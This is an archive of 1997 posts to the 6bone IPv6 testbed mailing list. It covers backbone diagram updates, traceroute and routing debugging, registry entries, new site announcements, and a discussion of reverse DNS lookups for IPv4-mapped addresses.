TELEDANMARK I know not of other than it is in Denmark.

REDIRIS is a Spanish Academic and Research Network based in Madrid.

IBBNET is in Utrecht, The Netherlands, and again I don't know what it does.


It would be good for sites to use the descr. field in the registry to say
what they are and a full name.


Reminder that the hot links on the diagrams now point to the ISI ripe-style
registry.


Thanks,

Bob



From majordom@ISI.EDU  Wed Jul  2 07:43:36 1997
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Date: Wed, 02 Jul 1997 12:43:36 -0500
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: new 6bone backbone links diagram - version 21
In-Reply-To: "02 Jul 1997 08:44:18 PDT." <"v03102804afe026d41edb"@[128.3.9.22]>
To: Bob Fink <RLFink@lbl.gov>
Cc: 6bone@isi.edu (6BONE Mailer)
Message-Id: <199707021743.MAA21645@gungnir.fnal.gov>
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X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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> 2.  SURFNET cutting back extra links in the backbone mesh is a trend we
> should all follow to minimize links we don't need in a backbone.  The
> purpose is NOT to fully conenct the backbone, rather to provide the links
> that are appropriate (don't ask me to define that one :-).

Is it too many links, or inappropriate default routes that makes the
path from Fermilab to NIST go through France?  (Or is it just bad DNS
info?  The embeded IPv4 prefix checks out.)

I point default at ESNET, who defaults to Cisco.  Cisco is routing
these packets to DEC, so DEC is either defaulting to IMAG or
selecting that route for some other reason.

The return path is more hops, but it stays on this continent:
NIST -> NRL -> CICNET -> CISCO -> ESNET -> FNAL.

Tracing the route to ipng9.ipng.nist.gov (5F00:3100:8106:3300:0:C0:3302:5A)
1 5F01:2500::293:3152:1 56 msec *  56 msec
2 6bone-router-tun-esnet.cisco.inner.net (5F00:6D00:0:E:2::1) 84 msec *  88 msec
3  * 5F00:2100:CC7B:0:2:0:F842:1428 132 msec 132 msec
4  * 6bone-core.ipv6.imag.fr (5F06:B500:8158:1A00:0:800:2BB9:F33D) 300 msec 284 msec
5 luna-v6.ipv6.imag.fr (5F06:B500:8158:1A00:0:800:2075:24EA) 292 msec 320 msec 300 msec
6  * ipng9.ipng.nist.gov (5F00:3100:8106:3300:0:C0:3302:5A) 296 msec * 


Traceroute to 5f01:2500:83e1:0:5:40:b40:7cef:
1       ipng10.ipng.nist.gov  (5f00:3100:8106:3300::f840:cde8)    2.991 ms  2.252 ms  2.196 ms
2       ipng9.ipng.nist.gov  (::129.6.51.154)    3.458 ms *  3.404 ms
3       buzzcut.ipv6.nrl.navy.mil  (5f00:3000:84fa:5a00::5)    14.900 ms  17.267 ms  15.834 ms
4       guar.ipv6.nrl.navy.mil  (5f00:3000:84fa:5a00::3)    17.311 ms *  34.473 ms
5       6bone.chicago.cic.net  (5f04:c900:8367:100:1:0:c8e:50c2)    239.570 ms  174.739 ms  232.363 ms
6       esnet-tun-endpoint.cisco.inner.net  (5f00:6d00:0:e:2::2)    230.087 ms * *
7       5f01:2500::293:3152:2  (5f01:2500::293:3152:2)    307.000 ms
8       5f01:2500:83e1:0:ffff:800:2021:261e  (5f01:2500:83e1:0:ffff:800:2021:261e)    316.757 ms *

From majordom@ISI.EDU  Wed Jul  2 03:47:16 1997
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 <"v03102804afe026d41edb"@[128.3.9.22]>
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Date: Wed, 2 Jul 1997 10:47:16 -0700
To: Matt Crawford <crawdad@fnal.gov>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: new 6bone backbone links diagram - version 21
Cc: 6bone@isi.edu (6BONE Mailer)
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At 10:43 AM -0700 7/2/97, Matt Crawford wrote:
>> 2.  SURFNET cutting back extra links in the backbone mesh is a trend we
>> should all follow to minimize links we don't need in a backbone.  The
>> purpose is NOT to fully conenct the backbone, rather to provide the links
>> that are appropriate (don't ask me to define that one :-).
>
>Is it too many links, or inappropriate default routes that makes the
>path from Fermilab to NIST go through France?  (Or is it just bad DNS
>info?  The embeded IPv4 prefix checks out.)

Good question.  Makes no sense to me.

Bob


>I point default at ESNET, who defaults to Cisco.  Cisco is routing
>these packets to DEC, so DEC is either defaulting to IMAG or
>selecting that route for some other reason.
>
>The return path is more hops, but it stays on this continent:
>NIST -> NRL -> CICNET -> CISCO -> ESNET -> FNAL.
>
>Tracing the route to ipng9.ipng.nist.gov (5F00:3100:8106:3300:0:C0:3302:5A)
>1 5F01:2500::293:3152:1 56 msec *  56 msec
>2 6bone-router-tun-esnet.cisco.inner.net (5F00:6D00:0:E:2::1) 84 msec *
>88 msec
>3  * 5F00:2100:CC7B:0:2:0:F842:1428 132 msec 132 msec
>4  * 6bone-core.ipv6.imag.fr (5F06:B500:8158:1A00:0:800:2BB9:F33D) 300
>msec 284 msec
>5 luna-v6.ipv6.imag.fr (5F06:B500:8158:1A00:0:800:2075:24EA) 292 msec 320
>msec 300 msec
>6  * ipng9.ipng.nist.gov (5F00:3100:8106:3300:0:C0:3302:5A) 296 msec *
>
>
>Traceroute to 5f01:2500:83e1:0:5:40:b40:7cef:
>1       ipng10.ipng.nist.gov  (5f00:3100:8106:3300::f840:cde8)    2.991 ms
>2.252 ms  2.196 ms
>2       ipng9.ipng.nist.gov  (::129.6.51.154)    3.458 ms *  3.404 ms
>3       buzzcut.ipv6.nrl.navy.mil  (5f00:3000:84fa:5a00::5)    14.900 ms
>17.267 ms  15.834 ms
>4       guar.ipv6.nrl.navy.mil  (5f00:3000:84fa:5a00::3)    17.311 ms *
>34.473 ms
>5       6bone.chicago.cic.net  (5f04:c900:8367:100:1:0:c8e:50c2)
>239.570 ms  174.739 ms  232.363 ms
>6       esnet-tun-endpoint.cisco.inner.net  (5f00:6d00:0:e:2::2)
>230.087 ms * *
>7       5f01:2500::293:3152:2  (5f01:2500::293:3152:2)    307.000 ms
>8       5f01:2500:83e1:0:ffff:800:2021:261e
>(5f01:2500:83e1:0:ffff:800:2021:261e)    316.757 ms *




From majordom@ISI.EDU  Wed Jul  2 05:49:48 1997
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Date: Wed, 2 Jul 1997 12:49:48 -0700 (PDT)
Message-Id: <199707021949.MAA12979@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: Matt Crawford <crawdad@fnal.gov>
Cc: Bob Fink <RLFink@lbl.gov>, 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: new 6bone backbone links diagram - version 21
In-Reply-To: <199707021743.MAA21645@gungnir.fnal.gov>
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	<199707021743.MAA21645@gungnir.fnal.gov>
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>>>>> "Matt" == Matt Crawford <crawdad@fnal.gov> writes:

    >> 2.  SURFNET cutting back extra links in the backbone mesh is a
    >> trend we should all follow to minimize links we don't need in a
    >> backbone.  The purpose is NOT to fully conenct the backbone,
    >> rather to provide the links that are appropriate (don't ask me
    >> to define that one :-).

    Matt> I point default at ESNET, who defaults to Cisco.  Cisco is
    Matt> routing these packets to DEC, so DEC is either defaulting to
    Matt> IMAG or selecting that route for some other reason.

cisco will route through NRL if NRL does advertise those routes to us
via BGP. Else we fall back to DEC's RIP annoucements.
NIST should, imho, request that someone of their neighbors (and only one site)
does advertise their routes into 6bone BGP.

    Matt> The return path is more hops, but it stays on this
    Matt> continent: NIST -> NRL -> CICNET -> CISCO -> ESNET -> FNAL.

Nope... On the traceroute you see esnet-tun-endpoint.cisco.inner.net but
this is an address on an ESnet router, not cisco.

The path is NIST -> NRL -> CICNET -> ESNET -> FNAL.

Routing usually works ok inside the BGP could...

regards,
  Pedro.

From majordom@ISI.EDU  Thu Jul  3 10:37:21 1997
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From: Roger Buttiens <Roger.Buttiens@vivaOSI.bro.dec.com>
To: "'Bob Fink'" <RLFink@lbl.gov>, "'6bone@isi.edu'" <6bone@isi.edu>
Cc: "'Rosette.Vandenbroucke@iihe.ac.be.'"
	 <Rosette.Vandenbroucke@iihe.ac.be>
Subject: RE: new 6bone diagram - version 78
Date: Thu, 3 Jul 1997 08:37:21 +0200
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Bob,

Just to announce a new site behind DIGITAL-BE  :  VUB-ULB,  the =
Universities of Brussels. =20
RIPE entries (new style) are created / updated for both ends of the =
tunnel (STATIC).   The DIGITAL-BE site is announcing the VUB-ULB site =
via RIP to DIGITAL-CA (backbone site).
It works since a couple of weeks, and I guess I can announce it now.  =
Please let me know if there is any problem with it.   And maybe you can =
include its presence on the next version of the drawing V 79

thanks and regards,
Roger Buttiens, DIGITAL-BE  =20


ipv6-site:   DIGITAL-BE
origin:      AS1891
descr:       Digital Equipment Corporation
descr:       Brussels, Belgium
location:    50 45 54 N 04 25 10 E 800m
country:     BE
prefix:      5F07:6300:C179:0:1::/80
application: ping kulderzipken.ipv6.digital.be=20
application: ping knoerifast.ipv6.digital.be=20
tunnel:      IPv6 in IPv4 knoerifast.ipv6.digital.be -> =
pax-6bone.pa-x.dec.com DIGITAL-CA RIPv6
tunnel:      IPv6 in IPv4 knoerifast.ipv6.digital.be -> =
earc-rtr.kar-x.dec.com DIGITAL-EARC RIPv6
tunnel:      IPv6 in IPv4 knoerifast.ipv6.digital.be -> =
vboipv6rtr.europe.digital.com DIGITAL-ETC RIPv6
tunnel:      IPv6 in IPv4 knoerifast.ipv6.digital.be -> =
6bone-core.ipv6.imag.fr G6 RIPv6
tunnel:      IPv6 in IPv4 knoerifast.ipv6.digital.be -> =
asteurodemo1.ipv6.iihe.ac.be DIGITAL-BE STATIC
contact:     RB1-6BONE
remarks:     ipv6-site is operational since December, 12th  1996
remarks:     kulderzipken (Alpha) runs Digital Unix V4.0B, IPv6 X6.0A
remarks:     knoerifast (RouteAbout Access EI-ISDN) runs IPv6 =
#179,SW=3DT2.0-5
remarks:     New tunnels added, RIP or static; send mail to contact
notify:      Roger.Buttiens@vivaOSI.bro.dec.com
changed:     Roger.Buttiens@bro.mts.dec.com 19970422
changed:     auto-dbm@ISI.EDU 19970608
changed:     Buttiens@mail.dec.com 19970609
changed:     Roger.Buttiens@vivaOSI.bro.dec.com 19970702
source:      6BONE





From majordom@ISI.EDU  Thu Jul  3 14:23:06 1997
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Date: Thu, 3 Jul 1997 12:23:06 +0200 (MET DST)
From: "Szabolcs Szigeti (PinkPanther)" <pink@fsz.bme.hu>
To: 6bone@ISI.EDU
Subject: Yet another ping-stat page and traceroute server
In-Reply-To: <9706042117.AA27812@brind.isi.edu>
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Howdy,

I'm happy to announce yet another 6bone ping statistics page at 

http://tracy.ipv6.fsz.bme.hu/pingstat/6bone-stats.html

and a traceroute server at

http://tracy.ipv6.fsz.bme.hu/tools/traceroute.html

This is located at the Technical University of Budapest, Dept. of Process
Control (BME-FSZ).


--------------------------------------------------------------
|      Szabolcs Szigeti    |   pink@fsz.bme.hu               |
|    Electrical Engineer   |   http://www.fsz.bme.hu/~pink/  |
|    No woman, No Cray!    |   +3630218697                   |
--------------------------------------------------------------


From majordom@ISI.EDU  Thu Jul  3 14:10:18 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Thu, 3 Jul 1997 12:10:18 +0200
In-Reply-To: Matt Crawford <crawdad@fnal.gov>
        "Re: new 6bone backbone links diagram - version 21" (Jul  2, 12:43pm)
References: <199707021743.MAA21645@gungnir.fnal.gov>
X-Mailer: Z-Mail (4.0.1 13Jan97)
To: 6bone@ISI.EDU, Bob Fink <RLFink@lbl.gov>, Matt Crawford <crawdad@fnal.gov>
Subject: Re: new 6bone backbone links diagram - version 21
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On Jul 2, 12:43pm, Matt Crawford wrote:
> Subject: Re: new 6bone backbone links diagram - version 21
> > 2.  SURFNET cutting back extra links in the backbone mesh is a trend we
> > should all follow to minimize links we don't need in a backbone.  The
> > purpose is NOT to fully conenct the backbone, rather to provide the links
> > that are appropriate (don't ask me to define that one :-).
>
> Is it too many links, or inappropriate default routes that makes the
> path from Fermilab to NIST go through France?  (Or is it just bad DNS
> info?  The embeded IPv4 prefix checks out.)

It's something a little bit different: I have a short prefix for a direct
static tunnel to NIST that I'm re-advertising through RIPng
The problem is a route aggregation one because NIST is advertising
longer prefixes. Somewhere in the routing cloud, the aggregation is wrong.

Things should be better when we'll be all runing an EGP.
I'm in vacation now, when I'll return, I will also shut down many tunnels
to simplify the routing in the 6-bone.

	- Alain.


From majordom@ISI.EDU  Fri Jul  4 09:50:23 1997
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Date: Thu, 03 Jul 1997 23:50:23 +1000
From: Marcus B <marcus@cwi.net.au>
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I am in Australia, to locate my exact point traceroute 203.62.165.1,
whch is the router I hook into, which goes to telstra.net in Australia,
I have two linux computers and I would like to get to know how IPv6
works so I will be setting these up on a mini-network.
Will I have to setup BIND? if so I can do it on one computer.  I will
not have my computers on 7 days a week, but hopefully I will soon.

From majordom@ISI.EDU  Fri Jul  4 18:10:27 1997
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From: Mike Dransfield <Dransfield@mail.dec.com>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>, "'Marcus B'" <marcus@cwi.net.au>
Subject: RE: Attach point
Date: Fri, 4 Jul 1997 08:10:27 +1000
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Marcus,
If you want to connect to the 6bone, then I have an IPV6 router
connected
to Telstra at ip6router.digital.com.au (I haven't updated the RIPE
database
yet) which you can connect to
It is a good idea to setup BIND and most sites create an ipv6 domain
(so with IPV6 addresses the above router is
ip6router.ipv6.digital.com.au)

Regards,
Mike
email: mike@stl.dec.com
phone (02) 9561 5397

>----------
>From: 	Marcus B[SMTP:marcus@cwi.net.au]
>Sent: 	Thursday, July 03, 1997 11:50 PM
>To: 	6bone@ISI.EDU
>Subject: 	Attach point
>
>I am in Australia, to locate my exact point traceroute 203.62.165.1,
>whch is the router I hook into, which goes to telstra.net in Australia,
>I have two linux computers and I would like to get to know how IPv6
>works so I will be setting these up on a mini-network.
>Will I have to setup BIND? if so I can do it on one computer.  I will
>not have my computers on 7 days a week, but hopefully I will soon.
>

From majordom@ISI.EDU  Mon Jul  7 08:28:28 1997
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Date: Mon, 07 Jul 1997 11:28:28 -0300
From: Daniel Ferreira Nunes de Oliveira <nunes@blader.com>
Organization: ICMSC-USP
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Dear srs,

We're running a small Linux based two-machines IPv6 network (alread
using RFC1897 addresses) at USP (Sao Paulo University), southeast of
Brazil, and it would be great to configure a router and tunnel to the
6bone. 

I'd like to know what's the best attachment point to join the 6bone and
would apreciatte a lot your help.

Thanks in advance and best regards



Nunes, D.




 
/----------------------------------------------------------------------\
|Daniel Nunes                          |home phone: +55 16 271-1976    |
|Graduated student of Computer Science |home adress: R.Abrahao Joao,950|
|ICMSC-USP - Universidade de Sao Paulo |             Jd Bandeirantes   |
|daniel@lcad.icmsc.sc.usp.br           |             S.Carlos-SP.BRAZIL|
|nunes@blader.com                      |             13562-150         |
\----------------------------------------------------------------------/

From majordom@ISI.EDU  Tue Jul  8 18:23:34 1997
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From: aness01@dcs.bbk.ac.uk (Mr Nicholas George Dennison Ness (MSc Comp 96ft))
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Hi,

I am looking for an entry point to the 6bone and would be very grateful for
any advice you could give me on who I might approach.
I am situated at Birkbeck College, Univesity of London.

Many thanks

N Ness

From majordom@ISI.EDU  Tue Jul  8 03:23:06 1997
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Subject: delegation
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Date: Tue, 8 Jul 1997 10:23:06 -0700 (PDT)
Cc: 6bone@ISI.EDU
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Enjoy.


;; QUESTIONS: 
;;      0.0.4.6.c.0.f.5.IP6.INT, type = NS, class = IN

;; ANSWERS:
0.0.4.6.c.0.f.5.IP6.INT.        129600  NS      archangel.ecs.soton.ac.uk.
0.0.4.6.c.0.f.5.IP6.INT.        129600  NS      scorpio.ecs.soton.ac.uk.


...


;; QUESTIONS: 
;;      0.0.0.3.2.0.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.0.3.2.0.f.5.ip6.int.        129600  NS      birbal.iol.unh.edu.
0.0.0.3.2.0.f.5.ip6.int.        129600  NS      sparky.iol.unh.edu.


-- 
--bill

From majordom@ISI.EDU  Tue Jul  8 07:08:51 1997
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Date: Tue, 8 Jul 1997 14:08:51 -0700
To: aness01@dcs.bbk.ac.uk (Mr Nicholas George Dennison Ness (MSc Comp 96ft))
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: 
Cc: 6bone@isi.edu, duncan@nosc.ja.net, Guy.Davies@uunet.pipex.com
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Nicholas,

At 9:23 AM -0700 7/8/97, aness01@dcs.bbk.ac.uk (Mr Nicholas George Dennison
Ness ...
>I am looking for an entry point to the 6bone and would be very grateful for
>any advice you could give me on who I might approach.
>I am situated at Birkbeck College, Univesity of London.

Try either:

	duncan@nosc.ja.net  of the JANET project

or

	Guy.Davies@uunet.pipex.com  of UUNET-UK


Bob



From majordom@ISI.EDU  Wed Jul  9 03:42:20 1997
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Date: Wed, 9 Jul 1997 10:42:20 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 22
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new 6bone backbone links diagram - version 22

	http://www.6bone.net/6bone-bblinks.html

		change link from TELEBIT/DK to SURFNET/NL from RIPng to BGP4+

		add link from G6/FR to SURFNET/NL using BGP4+

Thanks,

Bob



From majordom@ISI.EDU  Fri Jul 11 06:10:26 1997
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Date: Fri, 11 Jul 1997 13:10:26 -0700
From: John Kennedy <warlock@csuchico.edu>
Message-Id: <199707112010.NAA25494@hircine.net.chico.ca.us>
To: 6bone <6bone@zephyr.isi.edu>
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07/11/97 @ 01:09:53 PM (Friday)

  Does anyone have a good feel for all of the issues involved in supporting
applications across multistack (IPv4 & IPv6) platforms?

  For example, I've been hacking IPv6 support into 8.8.7.Beta2.  Along with
all the usual AF_INET -> AF_INET6 porting I ran into everyday situations like
DNS lookups.  For example, lets look at the typical "Received:" line:

	Received: from menkure.net.CSUChico.EDU
		(menkure.net.CSUChico.EDU [::ffff:132.241.66.6])
		by hircine.net.chico.ca.us (8.8.7.Beta2+ipv6/8.8.7.Beta2)
		with ESMTP id MAA25407 for <warlock@hircine.net.chico.ca.us>;
		Fri, 11 Jul 1997 12:04:25 -0700

  The first "menkure" is given to me in the EHLO.  The ::ffff:132.241.66.6
I get from the socket, but the 2nd menkure I actually create while trying
to verify if someone is forging or otherwise giving bad information.

  If this was just straight IPv4 or IPv6 you'd take the address, do a
reverse-lookup, forward-lookup the result and make sure the address you
started with matches one (of potentially many) from the forward-lookup.

  In this mixed environment, I was stuck.  I didn't have a reverse-lookup
for ::ffff:132.241.66.6 and, while I could bloat up DNS with all of my
local addresses, that doesn't do anything for the rest of the world.  In
my port, I decided to try it and, if it failed and the non-IPv4 portion
of ::ffff:132.241.66.6 was ::ffff:0, I'd try a regular IPv4 reverse-lookup
on the hostname.

  Is that what everyone is expected to do?


  I guess I'm just afraid that ::ffff:0/96 will become "non-unique".  IE,
when the final crunch comes someone is going to grab some networks and
there is going to be X's ::ffff:1.2.3.4 as well as Y's ::ffff:1.2.3.4
network out there, pretty much breaking IPv4/DNS as we know it.

  [By IPv4-DNS I mean DNS RRs made for the 32-bit world.]

  Give then ::ffff:0 is supposed to be a special address I don't think
that will happen but designer mentality changes more rapidly than
printed dead-tree (books).  (:  Most of what I read makes it sound as
if IPv6-ignorant ::ffff:0 hosts will be proxy-bait.

  If they are proxy-bait, IPv4-DNS should continue to linger for as long
as it's useful in its current capacity (no dupes).
								--- john

From majordom@ISI.EDU  Fri Jul 11 09:22:51 1997
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Date: Fri, 11 Jul 1997 16:22:51 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: John Kennedy <warlock@csuchico.edu>
Cc: 6bone <6bone@zephyr.isi.edu>
Subject: multistack migration issues
In-Reply-To: <199707112010.NAA25494@hircine.net.chico.ca.us>
References: <199707112010.NAA25494@hircine.net.chico.ca.us>
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>>>>> "John" == John Kennedy <warlock@csuchico.edu> writes:

    John> 07/11/97 @ 01:09:53 PM (Friday) Does anyone have a good feel
    John> for all of the issues involved in supporting applications
    John> across multistack (IPv4 & IPv6) platforms?

    John>   For example, I've been hacking IPv6 support into
    John> 8.8.7.Beta2.  Along with all the usual AF_INET -> AF_INET6
    John> porting I ran into everyday situations like DNS lookups.
    John> For example, lets look at the typical "Received:" line:

    John> 	Received: from menkure.net.CSUChico.EDU
    John> (menkure.net.CSUChico.EDU [::ffff:132.241.66.6]) by
    John> hircine.net.chico.ca.us (8.8.7.Beta2+ipv6/8.8.7.Beta2) with
    John> ESMTP id MAA25407 for <warlock@hircine.net.chico.ca.us>;
    John> Fri, 11 Jul 1997 12:04:25 -0700

    John>   The first "menkure" is given to me in the EHLO.  The
    John> ::ffff:132.241.66.6 I get from the socket, but the 2nd
    John> menkure I actually create while trying to verify if someone
    John> is forging or otherwise giving bad information.

    John>   If this was just straight IPv4 or IPv6 you'd take the
    John> address, do a reverse-lookup, forward-lookup the result and
    John> make sure the address you started with matches one (of
    John> potentially many) from the forward-lookup.

That is exactly what you should do.

    John>   In this mixed environment, I was stuck.  I didn't have a
    John> reverse-lookup for ::ffff:132.241.66.6 and, while I could
    John> bloat up DNS with all of my local addresses, that doesn't do
    John> anything for the rest of the world.  In my port, I decided
    John> to try it and, if it failed and the non-IPv4 portion of
    John> ::ffff:132.241.66.6 was ::ffff:0, I'd try a regular IPv4
    John> reverse-lookup on the hostname.

A reverse lookup for ::ffff:132.241.66.6 can only be a query for
6.66.241.132.in-addr.arpa.

    John>   Is that what everyone is expected to do?

Use getnameinfo(). At least NRL's version does correctly recognize mapped
addresses and makes the PTR query to the in-addr.arpa name space.

  Pedro.

From majordom@ISI.EDU  Fri Jul 11 09:42:55 1997
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From: rstevens@kohala.com (W. Richard Stevens)
Date: Fri, 11 Jul 1997 16:42:55 -0700
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[In your message of Jul 11,  1:10pm you write:]
> 
>   In this mixed environment, I was stuck.  I didn't have a reverse-lookup
> for ::ffff:132.241.66.6 and, while I could bloat up DNS with all of my
> local addresses, that doesn't do anything for the rest of the world.  In
> my port, I decided to try it and, if it failed and the non-IPv4 portion
> of ::ffff:132.241.66.6 was ::ffff:0, I'd try a regular IPv4 reverse-lookup
> on the hostname.
> 
>   Is that what everyone is expected to do?

Assuming a recent BIND with IPv6, gethostbyaddr() takes ::ffff:132.241.66.6
and does the right thing (an in-addr.arpa search).  Paul Vixie documented
this in draft-vixie-ipng-ipv4ptr-00.txt, and since this draft has expired
he was going to submit a new version a week or so ago.  BIND does these
in-addr.arpa searches for IPv4-mapped and IPv4-compatible addresses.

	Rich Stevens

From majordom@ISI.EDU  Sun Jul 13 08:43:30 1997
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Date: Sun, 13 Jul 1997 15:43:30 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: 6bone@isi.edu
Subject: rip routes
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I ran a small script on cisco's 6bone-router RIP table trying to find out
the average metrics on the RIP routes. Note that cisco doesn't receive
all rip routes (we filter inbound all the prefixes we source into bgp and
some other prefixes we have bgp routes to).

As an heuristic i picked 5 as the maximum path length between cisco an
any site trying to spot routes with a metric which is too high.

This most likely falls in the category of useless statistics but what the
heck... some of you even may find this interesting.

  Pedro.

------------------------------------------------------------------------------
  metric	routes		percentage
------------------------------------------------------------------------------
      2		    9		  7.0%
      3		   44		 34.4%
      4		   21		 16.4%
      5		   14		 10.9%
      6		   10		  7.8%
      7		    7		  5.5%
      8		    3		  2.3%
      9		    1		  0.8%
     10		    1		  0.8%
     12		    1		  0.8%
     15		    6		  4.7%
     16		   11		  8.6%
  total		  134		100.0%


------------------------------------------------------------------------------
			Possibly bogus RIP routes
------------------------------------------------------------------------------
  route							 metric
------------------------------------------------------------------------------
  5F02:2F00::0/32                          		   16
  5F06:B500:8158:1A00::0/80                		   16
  5F0B:2900::0/32                          		   16
  5F00:3100::0/32                          		   16
  5F02:3000::0/32                          		   16
  5F07:3D00:8DC9:200:2::0/80               		   16
  5F0B:1700:C047:1400::0/64                		   16
  5F06:B500:8158:1A00:1:0:8158:1A01/128    		   16
  5F0C:B300::0/32                          		   16
  5F15:9100::0/32                          		   16
  5F00:3100:8106:3300::0/80                		   16
  5F00:1000:0:F:C::0/80                    		   15
  5F00:1000:0:F:D::0/80                    		   15
  5F00:1000:0:F:F::0/80                    		   15
  5F03:1200:C13F:AF00::0/64                		   15
  5F03:1200:C13F:AF01::0/64                		   15
  5F03:1200:C13F::0/48                     		   15
  5F02:3000:8DFB:D101::0/64                		   12
  5F09:F300:9842:4C00:4C:0:C067:7B99/128   		   10
  5F02:3000:8DFB:D100::0/64                		    9
  5F1A:6D00:C269:A600::0/64                		    8
  5F0D:E900:80DF::0/48                     		    8
  5F0D:E900:9EA5::0/48                     		    8
  5F0C:DC00::0/32                          		    7
  5F0A:3600::0/32                          		    7
  5F07:5F00::0/32                          		    7
  5F0A:2F00:93AF:6300::0/80                		    7
  5F0B:1700:C10A:4200::0/80                		    7
  5F02:AD00::0/32                          		    7
  5F0B:1700:82EC::0/48                     		    7
  5F15:4100:839A:300::0/80                 		    6
  5F0C:BF00::0/32                          		    6
  5F07:2B00:82E1:F700:1A::0/80             		    6
  5F00:1B00:8008::0/48                     		    6
  5F02:BD00:C626::0/48                     		    6
  5F07:2B00:82E1:F700:22::0/80             		    6
  5F02:FE00::0/32                          		    6
  5F00:E000:81F0:1700::0/64                		    6
  5F00:3000:C721:F800::0/64                		    6
  5FFF:B400:C0E7:B00::0/64                 		    6

total number of bogus routes:	40
percentage:			31%










From majordom@ISI.EDU  Mon Jul 14 03:40:12 1997
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Date: Mon, 14 Jul 1997 04:39:27
From: "Chandra Shekar Nanjappa" <chandra@usa.net>
To: 6bone <6bone@isi.edu>
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Hi,
As I'm not interested in mails belonging to 6bone <6bone@isi.edu>, how 
to disconect myself from that?
Chandra

From majordom@ISI.EDU  Mon Jul 14 00:37:42 1997
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From: Bob Fink <RLFink@lbl.gov>
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At 4:39 AM -0700 7/14/97, Chandra Shekar Nanjappa wrote:
>Hi,
>As I'm not interested in mails belonging to 6bone <6bone@isi.edu>, how
>to disconect myself from that?
>Chandra

Per the 6bone mail list web page:

To unsubscribe to the 6bone mail list, send a message to majordomo@isi.edu
with the line unsubscribe 6bone as the contents of the
message.


Thanks,

Bob



From majordom@ISI.EDU  Mon Jul 14 02:49:34 1997
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Date: Mon, 14 Jul 1997 09:49:34 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: sourcs of testing software
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A good suggestion from Mark Waters.  Any comments or ideas on what is
appropriate?


Bob


==================================
>Date: Mon, 14 Jul 1997 17:28:15 -0700
>From: mark waters <mwa@broadcom.ie>
>To: RLFink@lbl.gov
>Subject: sourcs of testing software
>
>Hello,
>After following the hypertext from the 6Bone tools site I was hoping
>that there may some testing source code available...
>As part of an experimental 6Bone project, source code would be
>appreciated or even a pointer in the general direction of any available
>code for retrieving statistics.
>thanking you in advance,
>Mark Waters
>
>Broadcom Eireann Research
>Kestrel House
>Clanwilliam Place
>Dublin 2
>+353-1-6046014
>



From majordom@ISI.EDU  Mon Jul 14 03:45:21 1997
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Date: Mon, 14 Jul 1997 10:45:21 -0700
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From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 23
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new 6bone backbone links diagram - version 23

	http://www.6bone.net/6bone-bblinks.html

	remove UUNET/UK link to NWNET/US to reduce backbone meshing


Thanks,

Bob



From majordom@ISI.EDU  Mon Jul 14 04:21:46 1997
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Date: Mon, 14 Jul 1997 11:21:46 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 79
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new 6bone diagram - version 79

	http://www.6bone.net/6bone-drawing.html

	make DIGITAL/BE a transit and add new site VUB-ULB/BE

	add new site UNIMI/IT to POLITO/IT

	add new site IBN/IT to CSELT/IT

	add new site CABLEINET/UK to UUNET/UK

	add new site NETCOM/UK to UUNET/UK


Welcome to:

VUB-ULB/BE -  Vrije Universiteit Brussel - Universite Libre de Bruxelles,
Brussels, Belgium

UNIMI/IT - Dipartimento Scienze dell'Informazione, Universita' degli Studi
di Milano, Milano, Italia

IBN/IT - IBN - Windmill Labs, Borgomanero, Novara, ITALY

CABLEINET/UK - NO registry entry

NETCOM/UK - NETCOM Internet (UK) Ltd., UK


Thanks,

Bob



From majordom@ISI.EDU  Wed Jul 16 02:43:27 1997
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Subject: Welcome
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;; QUESTIONS: 
;;      0.0.b.3.0.2.f.5.ip6.int, type = NS, class = IN

;; ANSWERS:
0.0.b.3.0.2.f.5.ip6.int.        129600  NS      ns1.elm.net.
0.0.b.3.0.2.f.5.ip6.int.        129600  NS      ns2.elm.net.
0.0.b.3.0.2.f.5.ip6.int.        129600  NS      ns2.cistron.nl.




-- 
--bill

From majordom@ISI.EDU  Wed Jul 16 14:26:10 1997
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Date: Wed, 16 Jul 97 23:07:31 MET DST
From: Yanick <pouffary@taec.enet.dec.com>
To: "6bone@isi.edu"@vbormc.vbo.dec.com
Cc: pouffary@taec.enet.dec.com
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Subject: New DIGITAL OpenVMS node on the 6Bone
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Hi

We are happy to announce a new addition to the DIGITAL IPv6 family 
on the 6bone, an OpenVMS Alpha running IPv6. IPv6 on DIGITAL OpenVMS 
is based on a port of the DIGITAL UNIX IPv6 stack. 

At the DIGITAL-ETC (Digital in Sophia) we now have 

- DIGITAL RouteAbout Access EI-ISDN /IPv6   
  (5F06:B500:C138:F00::F8A4:8428)
  running RtAbt Acces EW/IP IPv6 #1669,SW=T2.0-5
  vboipv6rtr.ipv6.europe.digital.com

- DIGITAL UNIX AlphaServer 
  (5F06:B500:C138:F00::800:2B36:701E)
  running DIGITAL UNIX V4.0B, IPv6 X6.0A
  vboipv6unix.ipv6.europe.digital.com

- DIGITAL OpenVMS AlphaServer 
  (5F06:B500:C138:F00::F822:4C09)
  running DIGITAL TCP/IP services for OpenVMS Alpha Version V7.1, 
  IPv6 X5.0A
  vboipv6ovms.ipv6.europe.digital.com 

See the digital-etc whois entry or http://www.digital.com/info/ipv6 
for more details.

Regards

Yanick Pouffary
DIGITAL TCP/IP services for OpenVMS IPv6 Kernel Team

------------------------
Yanick Pouffary
